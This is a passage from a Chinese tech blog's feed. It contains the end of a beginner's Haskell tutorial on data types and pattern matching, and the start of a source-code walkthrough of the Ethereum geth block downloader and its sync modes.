class="keyword">type</span> <span class="type">CardNumber</span> = <span class="type">String</span></span></span><br><span class="line"><span class="class"><span class="keyword">type</span> <span class="type">Address</span> = [<span class="type">String</span>]</span></span><br><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">BillingInfo</span> = <span class="type">CreditCard</span> <span class="type">CardNumber</span> <span class="type">CardHolder</span> <span class="type">Address</span></span></span><br><span class="line">                 | <span class="type">CashOnDelivery</span></span><br><span class="line">                 | <span class="type">Invoice</span> <span class="type">CustomerID</span></span><br><span class="line">                   <span class="keyword">deriving</span> (<span class="type">Show</span>)</span><br></pre></td></tr></table></figure><p>这个程序提供了三种付款的方式。如果使用信用卡付款，就要使用 <code>CreditCard</code> 作为值构造器，并输入信用卡卡号、信用卡持有人和地址作为参数。如果即时支付现金，就不用接受任何参数。最后，可以通过货到付款的方式来收款，在这种情况下，只需要填写客户的 ID 就可以了。</p><p>也就是说，先设置了类型别名，类似于 C 语言的 <code>typedef</code>，让类型的可读性更好。然后 <code> BillingInfo</code> 类型有三个枚举类型，通过模式匹配确定选择哪两个。</p><h4 id="Just-和-Maybe">Just 和 Maybe</h4><p>对于自定义的类型，往往会出现无意义的情况或者不需要返回值的情况，或者是错误处理的情况，这相当于其他语言里的 <code>null</code> 和 <code>nil</code>。所以，就出现了内置的 <code>Nothing</code> 类型。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">BillingInfo</span> = <span class="type">CreditCard</span> <span class="type">CardNumber</span> <span class="type">CardHolder</span> <span class="type">Address</span></span></span><br><span class="line">                 | <span class="type">CashOnDelivery</span></span><br><span class="line">                 | <span class="type">Invoice</span> <span class="type">CustomerID</span></span><br><span class="line">                 | <span class="type">Nothing</span></span><br><span class="line">                   <span class="keyword">deriving</span> (<span class="type">Show</span>)</span><br></pre></td></tr></table></figure><p>更进一步，为了处理存在 <code>Nothing</code> 的模式匹配，加入了新的关键字 <code>Maybe</code> 和 <code>Just</code>。<code>Maybe</code> 表示变量可以表示空值。比如上面的代码，可以定义一个 <code>Maybe</code> 变量。<code>Just</code> 必须和 <code>Maybe</code> 配合使用，当不为空值是必须要有 <code>Just</code>，没有 <code>Just</code> 的 <code>Maybe</code> 变量就只能赋值 <code>billingInfo=Nothing</code>。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">billingInfo</span> :: <span class="type">Maybe</span> <span class="type">BillingInfo</span></span><br><span class="line"><span class="title">billingInfo</span> = <span class="type">Just</span> (<span class="type">CreditCard</span> <span class="string">&quot;1234&quot;</span> <span class="string">&quot;John&quot;</span> <span class="string">&quot;123 main St.&quot;</span>)</span><br></pre></td></tr></table></figure><p>具体来说，如果是使用了 <code>Maybe</code> ，表示可以匹配值构造器或者 <code>Nothing</code>，在错误处理中很有用。</p><h4 id="多态性">多态性</h4><p>Haskell 是强类型的语言，所以参数的类型都是有明确的规定的，也存在对应其他语言中「泛型」或者「模板」的语法。这也是通过枚举类型实现的。</p><p>比如我们需要打印 JSON 的某个值，但是 JSON 类型有 String、Number、Boolean、Object (JSON object)、Array、null，难道每种类型都要写非常类似的函数吗？我们可以通过多态简化。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 多态</span></span><br><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">JValue</span></span></span><br><span class="line">  = <span class="type">JString</span> <span class="type">String</span></span><br><span class="line">  | <span class="type">JNumber</span> <span class="type">Double</span></span><br><span class="line">  | <span class="type">JBool</span> <span class="type">Bool</span></span><br><span class="line">  | <span class="type">JNull</span></span><br><span class="line">  | <span class="type">JObject</span> [(<span class="type">String</span>, <span class="type">JValue</span>)]</span><br><span class="line">  | <span class="type">JArray</span> [<span class="type">JValue</span>]</span><br><span class="line">  <span class="keyword">deriving</span> (<span class="type">Eq</span>, <span class="type">Ord</span>, <span class="type">Show</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 类型名字</span></span><br><span class="line"><span class="title">getValue</span> (<span class="type">JValue</span>) |</span><br><span class="line"></span><br><span class="line"><span class="title">getString</span> :: <span class="type">JValue</span> -&gt; <span class="type">Maybe</span> <span class="type">String</span></span><br><span class="line"><span class="title">getString</span> (<span class="type">JString</span> s) = <span class="type">Just</span> s</span><br><span class="line"><span class="title">getString</span> _ = <span class="type">Nothing</span></span><br><span class="line"></span><br><span class="line"><span class="title">getInt</span> (<span class="type">JNumber</span> n) = <span class="type">Just</span> (truncate n)</span><br><span class="line"><span class="title">getInt</span> _ = <span class="type">Nothing</span></span><br><span class="line"></span><br><span class="line"><span class="title">getDouble</span> (<span class="type">JNumber</span> n) = <span class="type">Just</span> n</span><br><span class="line"><span class="title">getDouble</span> _ = <span class="type">Nothing</span></span><br><span class="line"></span><br><span class="line"><span class="title">getBool</span> (<span class="type">JBool</span> b) = <span class="type">Just</span> b</span><br><span class="line"><span class="title">getBool</span> _ = <span class="type">Nothing</span></span><br><span class="line"></span><br><span class="line"><span class="title">getObject</span> (<span class="type">JObject</span> o) = <span class="type">Just</span> o</span><br><span class="line"><span class="title">getObject</span> _ = <span class="type">Nothing</span></span><br><span class="line"></span><br><span class="line"><span class="title">getArray</span> (<span class="type">JArray</span> a) = <span class="type">Just</span> a</span><br><span class="line"><span class="title">getArray</span> _ = <span class="type">Nothing</span></span><br><span class="line"></span><br><span class="line"><span class="title">isNull</span> v = v == <span class="type">JNull</span></span><br></pre></td></tr></table></figure><h3 id="递归类型">递归类型</h3><h4 id="列表举例">列表举例</h4><p>上一小节提到了多个值构造器形成多态的特性，我们可以利用这一点实现非常简洁的递归类型。**本质上，列表就是递归类型。**后面将会提到，列表 <code>[1, 2]</code> 实际上只是 <code>(1:(2:[]))</code> 的一种简单的表示方式。具体的表达式如下：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">List</span> a = <span class="type">Cons</span> a (<span class="type">List</span> <span class="title">a</span>)</span></span><br><span class="line">            | <span class="type">Nil</span></span><br><span class="line">              <span class="keyword">deriving</span> (<span class="type">Show</span>)</span><br></pre></td></tr></table></figure><p>具体使用方法如下，<code>Cons</code> 需要两个参数，第一个参数可以是任何可以的类型，第二个参数必须是我们定义的 <code>List</code> 类型。怎么判断是否是 <code>List</code> 类型呢，这需要观察变量的表达式。例如 <code>Nil</code> 就是一个 <code>List a</code> 类型。当匹配不到 <code>Cons</code> 值构造器的时候，就会选择 <code>Nil</code></p><p>注意 <code>it</code> 是特殊的变量，表示交互式解释器里，输出的上一个变量。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">初始的 List 变量是 Nil，然后添加 1</span><br><span class="line">Prelude&gt; Cons 1 Nil</span><br><span class="line">Cons 1 Nil</span><br><span class="line"></span><br><span class="line">Prelude&gt; it</span><br><span class="line">Cons 1 Nil</span><br><span class="line"></span><br><span class="line">Prelude&gt; Cons 2 it</span><br><span class="line">Cons 2 (Cons 1 Nil)</span><br><span class="line"></span><br><span class="line">Prelude&gt; Cons 2 it</span><br><span class="line">Cons 2 (Cons 2 (Cons 1 Nil))</span><br></pre></td></tr></table></figure><p>如果我们把 <code>Cons</code> 替换成 <code>:</code> 实际上就和列表在结构上相同了。</p><h4 id="二叉树举例">二叉树举例</h4><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">Tree</span> a = <span class="type">Node</span> a (<span class="type">Tree</span> <span class="title">a</span>) (<span class="type">Tree</span> <span class="title">a</span>)</span></span><br><span class="line">            | <span class="type">Empty</span></span><br><span class="line">              <span class="keyword">deriving</span> (<span class="type">Show</span>)</span><br></pre></td></tr></table></figure><p>当匹配到是 Node 的值就选择 Node，否则选择 Empty。如果熟悉二叉树的话，这是很容易理解的。</p><h3 id="和其他语言类比">和其他语言类比</h3><p>以下是一个 C 结构，它等同于我们前面定义的 <code>BookInfo</code> 类型：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">struct</span> book_info &#123;</span><br><span class="line">    int id;</span><br><span class="line">    char *name;</span><br><span class="line">    char *authors;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>目前来说， C 结构和 Haskell 的代数数据类型最大的差别是，<strong>Haskell 代数数据类型的成分是匿名且按位置排序的</strong>，也就是说位置才决定了绑定的那个类型，而不是通过名字。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">BookInfo</span> = <span class="type">Book</span> <span class="type">Int</span> <span class="type">String</span> [<span class="type">String</span>]</span></span><br><span class="line">                <span class="keyword">deriving</span> (<span class="type">Show</span>)</span><br></pre></td></tr></table></figure><p>C 和 C++ 里的 <code>enum</code> 通常用于表示一系列符号值排列。代数数据类型里面也有相似的东西，一般称之为<em>枚举类型</em>。</p><p>以下是一个 <code>enum</code> 例子：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">enum</span> <span class="title class_">roygbiv</span> &#123;</span><br><span class="line">    red,</span><br><span class="line">    orange,</span><br><span class="line">    yellow,</span><br><span class="line">    green,</span><br><span class="line">    blue,</span><br><span class="line">    indigo,</span><br><span class="line">    violet,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>以下是等价的 Haskell 代码：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- file: Roygbiv.hs</span></span><br><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">Roygbiv</span> = <span class="type">Red</span></span></span><br><span class="line">             | <span class="type">Orange</span></span><br><span class="line">             | <span class="type">Yellow</span></span><br><span class="line">             | <span class="type">Green</span></span><br><span class="line">             | <span class="type">Blue</span></span><br><span class="line">             | <span class="type">Indigo</span></span><br><span class="line">             | <span class="type">Violet</span></span><br><span class="line">               <span class="keyword">deriving</span> (<span class="type">Eq</span>, <span class="type">Show</span>)</span><br></pre></td></tr></table></figure><p>在 ghci 里面测试：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; :load Roygbiv.hs</span><br><span class="line">[1 of 1] Compiling Main             ( Roygbiv.hs, interpreted )</span><br><span class="line">Ok, modules loaded: Main.</span><br><span class="line"></span><br><span class="line">*Main&gt; :type Yellow</span><br><span class="line">Yellow :: Roygbiv</span><br><span class="line"></span><br><span class="line">*Main&gt; :type Red</span><br><span class="line">Red :: Roygbiv</span><br><span class="line"></span><br><span class="line">*Main&gt; Red == Yellow</span><br><span class="line">False</span><br><span class="line"></span><br><span class="line">*Main&gt; Green == Green</span><br><span class="line">True</span><br></pre></td></tr></table></figure><h2 id="模式匹配">模式匹配</h2><p>简单地说，记住<strong>表达式在 Haskell 中很重要，只要对应的输入有对应的输出，那么就是正确的</strong>，所以如下的函数也是正确的</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- file: myNot.hs</span></span><br><span class="line"><span class="title">myNot</span> <span class="type">True</span> = <span class="type">False</span></span><br><span class="line"><span class="title">myNot</span> <span class="type">False</span> = <span class="type">True</span></span><br></pre></td></tr></table></figure><p>初看上去，代码似乎同时定义了两个 <code>myNot</code> 函数，但实际情况并不是这样 —— Haskell 允许将函数定义为<em>一系列等式</em>： <code>myNot</code> 的两个等式分别定义了函数对于输入参数在不同模式之下的行为。对于每行等式，模式定义放在函数名之后， <code>=</code> 符号之前。</p><p>首先调用 <code>myNot</code> ， Haskell 运行时检查输入参数 <code>False</code> 是否和第一个模式的值构造器匹配 —— 答案是不匹配，于是它继续尝试匹配第二个模式 —— 这次匹配成功了，于是第二个等式右边的值被作为结果返回。</p><p>再看一个例子，在 Haskell 里，<strong>列表 <code>[1, 2]</code> 实际上只是 <code>(1:(2:[]))</code> 的一种简单的表示方式</strong>，其中 <code>(:)</code> 用于构造列表。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">sumList</span> (x:xs) = x + sumList xs</span><br><span class="line"><span class="title">sumList</span> []  = <span class="number">0</span></span><br></pre></td></tr></table></figure><h3 id="通配符">通配符</h3><p>比较特殊的是<strong>通配符</strong>，如果一些值无所谓，那么直接用 <code>_</code> 代替即可，避免函数参数不匹配匹配。比如获取坐标中横坐标的值</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">*Main&gt; x = Coord 1 2</span><br><span class="line">*Main&gt; xcoord (Coord x y)=x</span><br><span class="line">*Main&gt; xcoord x</span><br><span class="line">1</span><br></pre></td></tr></table></figure><p>也可以写成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">*Main&gt; xcoord (Coord x _)=x</span><br><span class="line">*Main&gt; x</span><br><span class="line">Coord 1 2</span><br><span class="line">*Main&gt; xcoord x</span><br><span class="line">1</span><br></pre></td></tr></table></figure><h3 id="形式匹配">形式匹配</h3><p>在 Haskell 中，形式匹配通常使用 case 表达式、函数定义、let 语句、where 子句等方式来实现。在 Haskell 中，case 表达式可以用于将一个表达式与一组模式进行匹配，并执行相应的代码。case 表达式的基本形式如下：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">case</span> expression <span class="keyword">of</span></span><br><span class="line">  pattern1 -&gt; code1</span><br><span class="line">  pattern2 -&gt; code2</span><br><span class="line">  ...</span><br><span class="line">  patternN -&gt; codeN</span><br></pre></td></tr></table></figure><p><code>expression</code> 是要匹配的表达式，``pattern1<code>到</code>patternN<code> 是不同的模式，</code>code1<code>到</code>codeN` 是对应的代码块。当匹配成功时，对应的代码块将被执行，并返回结果。如果所有的模式都无法匹配，则 case 表达式将返回一个错误或空值。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">case</span> e <span class="keyword">of</span> &#123; xs@(x:rest) -&gt; <span class="keyword">if</span> x==<span class="number">0</span> <span class="keyword">then</span> rest <span class="keyword">else</span> xs &#125;</span><br></pre></td></tr></table></figure><p><code>xs@(x:rest)</code> 表示将 <code>e</code> 表达式的值绑定到 <code>xs</code> 变量，并将它分解为两部分：头部 <code>x</code> 和尾部 <code>rest</code>。在这个模式中，<code>xs </code>是整个 <code>e </code>表达式的值，<code>x</code> 是 <code>e</code> 表达式的第一个元素，rest 是 e 表达式的剩余部分。如果 <code>e</code> 的头部元素等于 0，则返回 e 的剩余部分<code>rest</code>。否则，返回整个 e 表达式的值 <code>xs</code>。</p><hr><p>为了方便起见，也可以在定义的时候就指定新类型的元素的名字。请读者仔细观察语法。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">*Main&gt; data Coord = Coord &#123;getx::Int,gety::Int&#125; deriving (Show)</span><br><span class="line"></span><br><span class="line">*Main&gt; x = Coord 1 2</span><br><span class="line">*Main&gt; getx x</span><br><span class="line">1</span><br></pre></td></tr></table></figure><p>定义变量的时候也可以更加清楚一些</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">*Main&gt; x = Coord &#123;getx = 10,gety =20&#125;</span><br><span class="line">*Main&gt; getx x</span><br><span class="line">10</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/fp/FP-haskell-1/</id>
    <link href="https://www.blog-blockchain.xyz/fp/FP-haskell-1/"/>
    <published>2022-08-29T13:30:33.000Z</published>
    <summary>Haskell函数式编程语言入门指南，介绍安装配置、基本语法、数据类型、函数定义、模式匹配等核心概念，帮助初学者掌握函数式编程思维。</summary>
    <title>Haskell(一)入门</title>
    <updated>2026-02-19T16:18:01.155Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="geth" scheme="https://www.blog-blockchain.xyz/categories/geth/"/>
    <category term="geth" scheme="https://www.blog-blockchain.xyz/tags/geth/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/geth/tx-signature/" title="交易的签名">交易的签名</a></li><li><a href="/geth/understand-receipt/" title="理解收据receipt">理解收据receipt</a></li><li><a href="/geth/blocks/" title="理解区块">理解区块</a></li><li><a href="/geth/understand-tx/" title="理解交易">理解交易</a></li><li><a href="/geth/blockchain-core/" title="blockchain核心">blockchain核心</a></li><li><a href="/geth/forkId/" title="forkId 解读">forkId 解读</a></li><li><a href="/geth/oracle-introduction/" title="oracle 原理和实现">oracle 原理和实现</a></li><li><a href="/geth/txlist/" title="TxList 解读">TxList 解读</a></li><li><a href="/geth/bloom-filter/" title="布隆过滤器原理">布隆过滤器原理</a></li><li><a href="/geth/tx-pool/" title="交易池分析">交易池分析</a></li><li><a href="/geth/MPT-Tree/" title="MPT树">MPT树</a></li><li><a href="/geth/block-sync/" title="区块同步">区块同步</a></li><li><a href="/geth/introduction/" title="geth源码学习——介绍">geth源码学习——介绍</a></li><li><a href="/geth/Geth-Unveiled-Ethereum-Startup/" title="How Geth starts its server">How Geth starts its server</a></li></ol></blockquote><blockquote><p>博主的朋友写的</p><ul><li>看到<code>core\blockchain.go</code>的时候大量涉及该部分知识，故在此参考大佬博客加之自己的理解先行总结</li><li>本文仅仅是简单总结了一下文件结构和重要函数功能，详细函数分析请参考<a href="https://mindcarver.cn/2020/12/23/%E6%AD%BB%E7%A3%95%E4%BB%A5%E5%A4%AA%E5%9D%8A%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90%E4%B9%8Bdownloader%E5%90%8C%E6%AD%A5/">downloader 同步</a></li></ul></blockquote><h3 id="文件结构"><strong>文件结构</strong></h3><p><code>downloader</code> 模块的代码位于 <code>eth/downloader</code> 目录下。主要的功能代码分别是：</p><ul><li><p><code>downloader.go</code> ：实现了区块同步逻辑</p></li><li><p><code>peer.go</code> ：对区块各个阶段的组装，下面的各个<code>FetchXXX</code> 就是很依赖这个模块。</p></li><li><p><code>queue.go</code> ：对<code>eth/peer.go</code>的封装</p></li><li><p><code>statesync.go</code> ：同步<code>state</code>对象</p></li><li><p>注意：</p><ul><li><p><code>downloader</code>是一个下载器，从远程网络节点中获取 hashes 和 blocks。</p></li><li><p><code>fetcher</code>则收集网络其他以太坊节点发过来的同步通知，进行验证，并做出相应的处理。</p></li><li><p><code>peers</code>是经过验证可信任的通信节点的集合。</p></li><li><p><code>queue</code> represents hashes that are either need fetching or are being fetched</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// queue represents hashes that are either need fetching or are being fetched</span></span><br><span class="line"><span class="keyword">type</span> queue <span class="keyword">struct</span> &#123;</span><br><span class="line">mode SyncMode <span class="comment">// Synchronisation mode to decide on the block parts to schedule for fetching</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Headers are &quot;special&quot;, they download in batches, supported by a skeleton chain</span></span><br><span class="line">headerHead      common.Hash                    <span class="comment">// Hash of the last queued header to verify order</span></span><br><span class="line">headerTaskPool  <span class="keyword">map</span>[<span class="type">uint64</span>]*types.Header       <span class="comment">// Pending header retrieval tasks, mapping starting indexes to skeleton headers</span></span><br><span class="line">headerTaskQueue *prque.Prque                   <span class="comment">// Priority queue of the skeleton indexes to fetch the filling headers for</span></span><br><span class="line">headerPeerMiss  <span class="keyword">map</span>[<span class="type">string</span>]<span class="keyword">map</span>[<span class="type">uint64</span>]<span class="keyword">struct</span>&#123;&#125; <span class="comment">// Set of per-peer header batches known to be unavailable</span></span><br><span class="line">headerPendPool  <span class="keyword">map</span>[<span class="type">string</span>]*fetchRequest       <span class="comment">// Currently pending header retrieval operations</span></span><br><span class="line">headerResults   []*types.Header                <span class="comment">// Result cache accumulating the completed headers</span></span><br><span class="line">headerProced    <span class="type">int</span>                            <span class="comment">// Number of headers already processed from the results</span></span><br><span class="line">headerOffset    <span class="type">uint64</span>                         <span class="comment">// Number of the first header in the result cache</span></span><br><span class="line">headerContCh    <span class="keyword">chan</span> <span class="type">bool</span>                      <span class="comment">// Channel to notify when header download finishes</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// All data retrievals below are based on an already assembles header chain</span></span><br><span class="line">blockTaskPool  <span class="keyword">map</span>[common.Hash]*types.Header <span class="comment">// Pending block (body) retrieval tasks, mapping hashes to headers</span></span><br><span class="line">blockTaskQueue *prque.Prque                  <span class="comment">// Priority queue of the headers to fetch the blocks (bodies) for</span></span><br><span class="line">blockPendPool  <span class="keyword">map</span>[<span class="type">string</span>]*fetchRequest      <span class="comment">// Currently pending block (body) retrieval operations</span></span><br><span class="line"></span><br><span class="line">receiptTaskPool  <span class="keyword">map</span>[common.Hash]*types.Header <span class="comment">// Pending receipt retrieval tasks, mapping hashes to headers</span></span><br><span class="line">receiptTaskQueue *prque.Prque                  <span class="comment">// Priority queue of the headers to fetch the receipts for</span></span><br><span class="line">receiptPendPool  <span class="keyword">map</span>[<span class="type">string</span>]*fetchRequest      <span class="comment">// Currently pending receipt retrieval operations</span></span><br><span class="line"></span><br><span class="line">resultCache *resultStore       <span class="comment">// Downloaded but not yet delivered fetch results</span></span><br><span class="line">resultSize  common.StorageSize <span class="comment">// Approximate size of a block (exponential moving average)</span></span><br><span class="line"></span><br><span class="line">lock   *sync.RWMutex</span><br><span class="line">active *sync.Cond</span><br><span class="line">closed <span class="type">bool</span></span><br><span class="line"></span><br><span class="line">lastStatLog time.Time</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li></ul></li></ul><h3 id="同步模式"><strong>同步模式</strong></h3><p>以太坊中区块同步包含以下三种模式：</p><ul><li><p>full sync：</p><p><code>full</code> 模式会在数据库中保存所有区块数据，同步时从远程节点同步 header 和 body 数据，而 state 和 receipt 数据则是在本地计算出来的。</p><p>在 full 模式下，downloader 会同步区块的 header 和 body 数据组成一个区块，然后通过 blockchain 模块的 <code>BlockChain.InsertChain</code> 向数据库中插入区块。在 <code>BlockChain.InsertChain</code> 中，会逐个<strong>计算和验证</strong>每个块的 <code>state</code> 和 <code>recepit</code> 等数据，如果一切正常就将区块数据以及自己计算得到的 <code>state</code>、<code>recepit</code> 数据一起写入到数据库中。</p></li><li><p>fast sync：</p><p><code>fast</code> 模式下，<code>recepit</code> 不再由本地计算，而是和区块数据一样，直接由 <code>downloader</code> 从其它节点中同步；<code>state</code> 数据并不会全部计算和下载，而是选一个较新的区块（称之为 <code>pivot</code>）的 <code>state</code> 进行下载，以这个区块为分界，之前的区块是没有 <code>state</code> 数据的，之后的区块会像 <code>full</code> 模式下一样在本地计算 <code>state</code>。因此在 <code>fast</code> 模式下，同步的数据除了 <code>header</code> 和 body，还有 <code>receipt</code>，以及 <code>pivot</code> 区块的 <code>state</code>。</p><p>因此 <code>fast</code> 模式忽略了大部分 <code>state</code> 数据，并且使用网络直接同步 <code>receipt</code> 数据的方式替换了 <code>full</code> 模式下的本地计算，所以比较快。</p></li><li><p>light sync：从网络中同步所有区块头，不去同步区块体，也不去同步状态数据，仅在需要相应区块和状态数据时从网络上获取</p></li></ul><blockquote><p>简单总结：</p></blockquote><p>SyncMode:</p><ul><li><code>FullSync</code>:从完整区块同步整个区块链历史</li><li><code>FastSync</code>:快速下载 Header，仅在链头处完全同步</li><li><code>LightSync</code>:仅下载 Header，然后终止</li></ul><h3 id="区块下载"><strong>区块下载</strong></h3><p>区块下载流程示意图如下所示：</p><p><img src="https://lky-img.obs.cn-east-2.myhuaweicloud.com/image-20220331155831706.png" alt="image-20220331155831706"></p><p>首先根据 Synchronise 开始区块同步，通过 findAncestor 找到指定节点的共同祖先，并在此高度进行同步，同时开启多个 goroutine 同步不同的数据：header、receipt、body，假如同步高度为 100 的区块，必须先 header 同步成功同步完成才可以进行 body 和 receipts 的同步，而每个部分的同步大致都是由 FetchParts 来完成的，里面包含了各个 Chan 的配合，也会涉及不少的回调函数</p><h3 id="源码分析"><strong>源码分析</strong></h3><h4 id="数据结构"><strong>数据结构</strong></h4><p>downloader 数据结构如下所示：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> Downloader <span class="keyword">struct</span> &#123;</span><br><span class="line"></span><br><span class="line">  mode <span class="type">uint32</span>         <span class="comment">// Synchronisation mode defining the strategy used (per sync cycle), use d.getMode() to get the SyncMode</span></span><br><span class="line">  mux  *event.TypeMux <span class="comment">// Event multiplexer to announce sync operation events</span></span><br><span class="line"></span><br><span class="line">  checkpoint <span class="type">uint64</span>   <span 